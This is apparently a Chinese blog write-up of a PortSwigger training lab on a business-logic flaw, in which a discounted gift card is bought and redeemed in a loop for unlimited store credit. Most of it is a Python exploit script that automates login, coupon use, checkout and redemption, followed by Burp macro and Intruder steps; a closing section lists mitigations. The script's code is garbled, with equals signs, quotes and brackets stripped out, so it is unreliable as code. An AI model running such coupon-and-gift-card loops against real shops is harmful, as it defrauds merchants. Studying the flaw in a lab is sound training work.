【Web安全】Portswigger 业务逻辑漏洞 Lab: Infinite money logic flaw 实验:无限货币逻辑缺陷
目录一.实验环境二.无限货币逻辑缺陷编辑账户登录购买物品漏洞利用方法一编写python自动化脚本方法二使用bp宏定义推荐三.小结一.实验环境实验室无限货币逻辑缺陷 |网络安全学院https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-infinite-money二.无限货币逻辑缺陷账户登录购买物品登录账户进入页面我们发现了gift card判断这个实验可能就是这个出现漏洞。去添加皮杰克到购物车的时候我们看到商品里有giftcard。继续观察页面在底部发现了一个新的功能。我们先在这里sign up。出现了一个弹窗。coupon是优惠卷这里给了一个折扣30%的优惠卷我们可以在购买时使用。我们再去购买giftcard。购买成功后会出现一个code。输入code。发现账户多了3块钱。漏洞利用这里我们出现了思路这个优惠卷是否可以一直使用然后无限刷钱。我们再去尝试第二遍。是可以的并且出现了一个新的code。输入之后余额变成了106。这样是可以达到无线刷钱的目的但是速度太慢我们要购买皮夹克需要1337这里我们可以使用自动化脚本。方法一编写python自动化脚本代码运行时间较长。import urllib.request import urllib.parse import http.cookiejar import re import sys import time import ssl # ---------- CONFIG ---------- LAB_URL https://0ab200bf04e2d89283e1154000b400a7.web-security-academy.net USERNAME wiener PASSWORD peter COUPON SIGNUP30 TARGET_ITEM_PRICE 1337.00 MAX_CYCLES 500 RETRY_DELAY 2 # seconds between retries # ---------------------------- ssl_ctx ssl.create_default_context() ssl_ctx.check_hostname False ssl_ctx.verify_mode ssl.CERT_NONE cj http.cookiejar.CookieJar() opener urllib.request.build_opener( urllib.request.HTTPCookieProcessor(cj), urllib.request.HTTPSHandler(contextssl_ctx) ) # Add common headers opener.addheaders [ (User-Agent, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36), (Connection, keep-alive), ] def request_with_retry(method, path, dataNone, max_retries5): HTTP request with retry on transient failures. last_error None for attempt in range(1, max_retries 1): try: if method GET: req urllib.request.Request(f{LAB_URL}{path}) with opener.open(req, timeout60) as resp: return resp.read().decode(utf-8, errorsreplace), resp.geturl() else: encoded urllib.parse.urlencode(data).encode() req urllib.request.Request( f{LAB_URL}{path}, dataencoded, headers{Content-Type: application/x-www-form-urlencoded} ) with opener.open(req, timeout60) as resp: return resp.read().decode(utf-8, errorsreplace), resp.geturl() except urllib.error.HTTPError as e: body e.read().decode(utf-8, errorsreplace) return body, e.geturl() except Exception as e: last_error e if attempt max_retries: wait RETRY_DELAY * attempt print(f [!] Attempt {attempt} failed: {e}. Retrying in {wait}s...) time.sleep(wait) raise last_error def get(path): return request_with_retry(GET, path) def post(path, data): return request_with_retry(POST, path, data) def extract_csrf(html): Extract CSRF token from HTML. m re.search(rinput\s[^]*?name[\x27]csrf[\x27][^]*?value[\x27]([^\x27])[\x27], html) if not m: m re.search(rinput\s[^]*?value[\x27]([^\x27])[\x27][^]*?name[\x27]csrf[\x27], html) return m.group(1) if m else None def extract_store_credit(html): Extract store credit amount from my-account page. m re.search(rStore credit:\s*\$?(\d\.?\d*), html) return float(m.group(1)) if m else None def extract_gift_code(html): Extract gift card code from order confirmation page. # Try table cell first m re.search(rtd[^]*\s*([A-Za-z0-9]{10,20})\s*/td, html) if m: return m.group(1) # Try any alphanumeric string 15-20 chars long m re.search(r\b([A-Za-z0-9]{15,20})\b, html) if m: return m.group(1) # Try 10-14 chars m re.search(r\b([A-Za-z0-9]{10,14})\b, html) if m: return m.group(1) return None def main(): print( * 60) print(PortSwigger Lab: Infinite Money Logic Flaw - Auto Exploit) print( * 60) # ---- Step 1: Login ---- print(\n[*] Step 1: Logging in as wiener:peter...) body, _ get(/login) csrf extract_csrf(body) if not csrf: print([-] Failed to get login CSRF token!) sys.exit(1) body, _ post(/login, { csrf: csrf, username: USERNAME, password: PASSWORD }) if My Account not in body and Log out not in body: print([-] Login failed! Check credentials.) sys.exit(1) body, _ get(/my-account) credit extract_store_credit(body) or 0.0 print(f[] Logged in. Initial store credit: ${credit:.2f}) # ---- Step 2: Gift card purchase - redeem loop ---- cycles 0 while credit TARGET_ITEM_PRICE: cycles 1 if cycles MAX_CYCLES: print([-] Max cycles reached!) break print(f\n--- Cycle {cycles} (Credit: ${credit:.2f}) ---) # 2a. Add gift card (productId2) to cart print( [] Adding gift card to cart...) post(/cart, {productId: 2, redir: PRODUCT, quantity: 1}) # 2b. Get cart CSRF and apply coupon body, _ get(/cart) csrf extract_csrf(body) if not csrf: print( [-] No cart CSRF, skipping...) continue print( [] Applying SIGNUP30 coupon...) post(/cart/coupon, {csrf: csrf, coupon: COUPON}) # 2c. Refresh cart, get new CSRF, checkout body, _ get(/cart) csrf extract_csrf(body) if not csrf: print( [-] No checkout CSRF, skipping...) continue print( [] Checking out...) body, final_url post(/cart/checkout, {csrf: csrf}) # 2d. Extract gift code from order confirmation gift_code extract_gift_code(body) if not gift_code: print( [-] Could not extract gift card code!) debug re.sub(rscript[^]*.*?/script, , body, flagsre.DOTALL) debug re.sub(rstyle[^]*.*?/style, , debug, flagsre.DOTALL) debug re.sub(r[^], , debug) debug re.sub(r\s, , debug).strip() print(f [DEBUG] Page text: {debug[:400]}) break print(f [] Gift code: {gift_code}) # 2e. Redeem gift card body, _ get(/my-account) csrf extract_csrf(body) if not csrf: print( [-] No redeem CSRF, skipping...) continue print( [] Redeeming gift card...) post(/gift-card, {csrf: csrf, gift-card: gift_code}) # 2f. Check updated credit body, _ get(/my-account) new_credit extract_store_credit(body) or credit delta new_credit - credit print(f [] New credit: ${new_credit:.2f} ({ if delta 0 else }${delta:.2f})) credit new_credit # ---- Step 3: Buy the target item ---- print(f\n[*] Step 3: Buying leather jacket (need ${TARGET_ITEM_PRICE:.2f}, have ${credit:.2f})...) post(/cart, {productId: 1, redir: PRODUCT, quantity: 1}) body, _ get(/cart) csrf extract_csrf(body) if csrf: print( [] Checking out jacket...) body, post_url post(/cart/checkout, {csrf: csrf}) print(f [] Order result URL: {post_url}) else: print( [-] No CSRF for jacket checkout!) # ---- Step 4: Verify ---- print(\n[*] Step 4: Verifying...) body, _ get(/my-account) if Congratulations in body or solved in body.lower(): print(\n[] LAB SOLVED! \360\237\216\211) else: print([?] Check the lab manually:) print(f {LAB_URL}/my-account) print(f\n[*] Total cycles: {cycles}) print(f[*] Final credit: ${credit:.2f}) print( * 60) if __name__ __main__: main()使用python代码时要修改lab_url为自己实验室地址。方法二使用bp宏定义推荐使用bp的宏来自动执行。打开session点击右上角齿轮按钮。下方添加宏。进入宏记录器。长按ctrl键鼠标左键勾选。选择这五个宏。并点击第四条请求进入项目设置。在下方进行添加参数。点击确认。再点击第五条请求进入项目设置。点击确认。再进行测试宏。由刚刚python代码跑的148变成了151代表我们的宏成功。再返回设置在最上方找到会话规则添加。再修改范围。选择包含所有url。再进入bp http历史记录找到my-account,放入bp intruder。类型设置为null payload。选择无限重复或者生成412更多都可以。资源池记得并发请求数调整为1否则余额会越来越少进行攻击。开始攻击。最后价格到达1337即可完成购买完成实验。三.小结该实验室的漏洞源于购买与礼品卡兑换工作流中的折扣计算逻辑缺陷。应用程序允许用户购买面值$10的礼品卡并可在结账时使用SIGNUP30优惠券获得30%折扣。然而系统**错误地将折扣应用于礼品卡这类现金等价物**——用户实际仅支付$7即可获得一张价值$10的礼品卡。兑换该礼品卡后账户余额净增$3。由于系统未对礼品卡购买与兑换的循环操作设置任何限制攻击者可以通过Burp Intruder或Python脚本自动化这一流程反复执行“购买打折礼品卡 → 兑换获取全额积分”的操作每次净赚$3最终累积足够余额购买目标商品。该漏洞完全是逻辑层面的而非技术实现缺陷这使得它既隐蔽又具有高度破坏性。为防范此类风险首先应对现金等价物如礼品卡、充值码实施严格的折扣排除策略确保折扣、优惠券等促销手段不适用于这类商品其次对购买与兑换等资金循环操作实施严格的频率和总量限制防止攻击者通过自动化脚本无限次套利同时所有涉及金额的计算逻辑如折扣后价格、账户余额变动均须在服务端完成并对每次交易进行完整的审计日志记录当检测到短时间内大量购买并兑换礼品卡的异常行为时及时触发告警最后在设计业务工作流时应进行全面的威胁建模尤其关注涉及资金流转的闭环操作购买→兑换→再购买识别其中可能被反复利用的逻辑漏洞。